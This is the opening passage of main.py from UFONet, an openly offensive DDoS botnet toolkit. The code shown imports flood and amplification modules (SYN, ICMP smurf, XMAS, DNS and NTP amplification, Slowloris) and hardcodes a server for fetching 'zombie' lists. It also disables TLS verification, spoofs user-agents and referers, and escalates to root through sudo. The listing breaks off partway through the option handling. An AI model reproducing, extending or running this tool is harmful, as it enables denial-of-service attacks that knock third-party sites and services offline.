main.py 248 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. class UFONet(object):
  41. def __init__(self):
  42. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  43. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  44. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  45. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  46. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  47. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 01/02/2020]
  48. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 01/02/2020]
  49. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  50. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  51. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  52. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  53. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  54. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  55. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  56. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  57. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  58. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  59. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  60. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  61. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  62. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  63. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  64. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  65. self.timeline_file = 'docs/VERSION' # set source for code releases
  66. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  67. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  68. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  69. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  70. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  71. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  72. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  73. self.referer = '' # black magic
  74. self.port = "8080" # default injection port
  75. self.mothershipname = "core/txt/shipname.txt"
  76. self.mothership_baptism() # generating static name/id for your mothership ;-)
  77. self.head = False
  78. self.payload = False
  79. self.external = False
  80. self.attack_mode = False
  81. self.connection_failed = False
  82. self.total_possible_zombies = 0
  83. self.herd = Herd(self)
  84. self.sem = False
  85. self.db_flash = 0 # db stress counter
  86. self.total_aliens = 0
  87. self.aliens_hit = 0
  88. self.aliens_fail = 0
  89. self.total_droids = 0
  90. self.droids_hit = 0
  91. self.droids_fail = 0
  92. self.total_ucavs = 0
  93. self.ucavs_hit = 0
  94. self.ucavs_fail = 0
  95. self.total_rpcs = 0
  96. self.rpcs_hit = 0
  97. self.rpcs_fail = 0
  98. self.total_loic = 0
  99. self.total_loris = 0
  100. self.total_syn = 0
  101. self.total_spray = 0
  102. self.total_smurf = 0
  103. self.total_xmas = 0
  104. self.total_nuke = 0
  105. self.total_tachyon = 0
  106. self.total_monlist = 0
  107. self.total_zombies_failed_connection = 0
  108. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  109. self.ctx.check_hostname = False
  110. self.ctx.verify_mode = ssl.CERT_NONE
  111. self.nat_error_flag = "OFF"
  112. self.trans_zombies = 0
  113. self.scanned_zombies = 0
  114. self.loadcheck_counter = 0
  115. self.loadcheck_prev_size = None
  116. self.loadcheck_prev_load = None
  117. self.loadcheck_first_size = None
  118. self.loadcheck_first_load = None
  119. self.loadcheck_size_list = []
  120. self.loadcheck_load_list = []
  121. self.loadcheck_size_median = None
  122. self.loadcheck_size_max = None
  123. self.loadcheck_size_min = None
  124. self.loadcheck_load_median = None
  125. self.loadcheck_size_max = None
  126. self.loadcheck_size_min = None
  127. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  128. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  129. self.expire_timing = 30 # default expiring time per round
  130. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  131. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  132. def mothership_baptism(self):
  133. if os.path.exists(self.mothershipname) == True:
  134. f = open(self.mothershipname)
  135. self.mothership_id = f.read()
  136. f.close()
  137. else:
  138. self.mothership_ids = []
  139. f = open(self.motherships_file)
  140. motherships = f.readlines()
  141. f.close()
  142. for ship in motherships:
  143. ship = ship.encode("utf-8")
  144. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  145. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  146. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  147. m.write(str(self.mothership_id.upper()))
  148. m.close()
  149. def create_options(self, args=None):
  150. self.optionParser = UFONetOptions()
  151. self.options = self.optionParser.get_options(args)
  152. if not self.options:
  153. return False
  154. return self.options
  155. def banner_welcome(self):
  156. print("")
  157. print(" 0=============================================0")
  158. print(" || ||")
  159. print(" || || || * Botnet -> [DDoS]: ||")
  160. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  161. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  162. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  163. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  164. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  165. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  166. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  167. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  168. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  169. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  170. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  171. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  172. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  173. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  174. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  175. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  176. print(" || /NUKE : TCP-STARVATION attack ||")
  177. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  178. print(" 0|===========================================|0")
  179. print("")
  180. def banner(self):
  181. print('='*75, "\n")
  182. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  183. print("888 888 888 d88P Y888b 8888b 888 888 ")
  184. print("888 888 888 888 888 88888b 888 888 ")
  185. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  186. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  187. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  188. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  189. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  190. print(self.optionParser.description, "\n")
  191. print('='*75)
  192. def generate_exit_msg(self):
  193. f = open(self.misc_file)
  194. m = f.readlines()
  195. f.close()
  196. self.exit_msg = "Generating random exit... \n\n"
  197. self.exit_msg += " -> "+str(random.choice(m).strip())
  198. def AI(self):
  199. try:
  200. import turtle as AI
  201. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  202. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  203. bg = random.choice(colors).strip()
  204. t = AI.Pen()
  205. AI.bgcolor(bg)
  206. r = random.randrange(100,100000)
  207. for x in range(r):
  208. t.pencolor(colors[x%6])
  209. w = random.randrange(100,1000)
  210. t.width(x/w + 1)
  211. t.forward(x)
  212. l = random.randrange(50,1000)
  213. t.left(l)
  214. except:
  215. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  216. pass
  217. def round_float(self, num):
  218. return str(int(round(num, -1)))[2] # black magic
  219. def show_mac_address(self):
  220. mac = getnode() # to get physical address
  221. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  222. return hex_mac
  223. def show_ips(self):
  224. import requests
  225. try:
  226. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  227. s.connect(("8.8.8.8", 80))
  228. private_ip = s.getsockname()[0] # black magic
  229. s.close()
  230. except:
  231. private_ip = "Unknown"
  232. try:
  233. public_ip = requests.get(self.check_ip_service3).text
  234. except:
  235. try:
  236. public_ip = requests.get(self.check_ip_service2).text
  237. except:
  238. try:
  239. public_ip = requests.get(self.check_ip_service1).text
  240. except:
  241. public_ip = "Unknown"
  242. return private_ip, public_ip
  243. def try_running(self, func, error, args=None):
  244. options = self.options
  245. args = args or []
  246. try:
  247. return func(*args)
  248. except Exception as e:
  249. if options.verbose:
  250. print(error, "error")
  251. traceback.print_exc()
  252. def checkeuid(self):
  253. try:
  254. euid = os.geteuid()
  255. except:
  256. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  257. print("[AI] "+self.exit_msg+"\n")
  258. sys.exit(2) # return
  259. return euid
  260. def start_ship_engine(self):
  261. self.agents = [] # generating available user-agents
  262. f = open(self.agents_file)
  263. agents = f.readlines()
  264. f.close()
  265. for agent in agents:
  266. self.agents.append(agent)
  267. self.user_agent = random.choice(self.agents).strip()
  268. self.search_engines = [] # available dorking search engines
  269. self.search_engines.append('bing') # [01/02/2020: OK!]
  270. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  271. self.search_engines.append('duck') # [01/02/2020: OK!]
  272. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  273. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  274. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  275. if not os.path.exists("core/json/"): # create gui json cfg files folder
  276. os.mkdir("core/json/")
  277. self.banner_welcome()
  278. self.update_flying_stats() # update flying time stats
  279. chargo = self.check_mothership_chargo() # check mothership chargo
  280. self.update_max_chargo(int(chargo)) # update max chargo stats
  281. self.generate_exit_msg() # generate random exit msg
  282. def run(self, opts=None):
  283. if opts:
  284. self.create_options(opts)
  285. options = self.options
  286. # start threads
  287. if not self.options.threads:
  288. self.options.threads=5 # default number of threads
  289. self.sem = threading.Semaphore(self.options.threads)
  290. # start ship engine
  291. self.start_ship_engine()
  292. # check proxy options
  293. proxy = options.proxy
  294. if options.proxy:
  295. try:
  296. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  297. m = re.search(pattern, proxy)
  298. if m is None:
  299. self.banner()
  300. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  301. return
  302. else:
  303. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  304. except Exception:
  305. self.banner()
  306. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  307. return
  308. # check tor connection
  309. if options.checktor:
  310. url = self.check_tor_url # TOR status checking site
  311. self.banner()
  312. print("\nSending request to: " + url + "\n")
  313. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  314. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  315. try:
  316. if options.proxy: # set proxy
  317. self.proxy_transport(options.proxy)
  318. req = urllib.request.Request(url, None, headers)
  319. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  320. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  321. if not tor_reply or 'Congratulations' not in tor_reply:
  322. print("It seems that Tor is not properly set.\n")
  323. print(("IP address appears to be: " + your_ip + "\n"))
  324. else:
  325. print("Congratulations!. Tor is properly being used :-)\n")
  326. print(("IP address appears to be: " + your_ip + "\n"))
  327. except:
  328. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  329. sys.exit(2) # return
  330. # run AES256+HMAC-SHA1 enc/dec tool
  331. if options.cryptomsg:
  332. from core.tools.crypter import Cipher
  333. print(" " + '='*44)
  334. print(" ")
  335. print(" ____...------------...____ ")
  336. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  337. print(" .' / / \ \ '. ")
  338. print(" |=====/o/======================\o\=====| ")
  339. print(" |____/_/________..____..________\_\____| ")
  340. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  341. print(" \__/_____\####/0213411543/####/_____\__/ ")
  342. print(" |===\!/========================\!/===| ")
  343. print(" | |=| .---. |=| | ")
  344. print(" |===|o|=========/ \========|o|===| ")
  345. print(" | | | \() ()/ | | | ")
  346. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  347. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  348. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  349. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  350. print(" '''''''''''''''''''''''''''''''''''''' ")
  351. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  352. print(" (140 plain text chars = 69 encrypted chars)\n")
  353. print(" " + '='*44 + "\n")
  354. text = str(input("-> Enter TEXT: "))
  355. input_key = str(input("\n-> Enter KEY: "))
  356. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  357. c = Cipher(key, text)
  358. msg = c.encrypt()
  359. msg = msg.decode('utf-8')
  360. c.set_text(msg)
  361. print("\n" + " " + '-'*44)
  362. print('\n-> Ciphertext: [', msg, ']')
  363. print('\n-> Length:', len(msg))
  364. print("\n" + " " + '-'*44)
  365. print('\n-> Key (share it using SNEAKNET!):', input_key)
  366. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  367. # run shownet tool
  368. if options.shownet:
  369. hex_mac = self.show_mac_address()
  370. self.banner()
  371. print("-> Network Info:")
  372. print('='*44)
  373. print("-"*35)
  374. print("|- MAC Address :", hex_mac)
  375. print("|" +"-"*34)
  376. private_ip, public_ip = self.show_ips()
  377. print("|- IP Private :", private_ip)
  378. print("|" +"-"*34)
  379. t = urlparse(self.check_ip_service3)
  380. name_service = t.netloc
  381. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  382. print("-"*35)
  383. print('='*75, "\n")
  384. # run UFOSCAN tool (check EUID when running UFOSCAN)
  385. if options.xray:
  386. euid = self.checkeuid()
  387. if euid != 0:
  388. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  389. try:
  390. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  391. os.execlpe('sudo', *args)
  392. except:
  393. pass # keep running
  394. else:
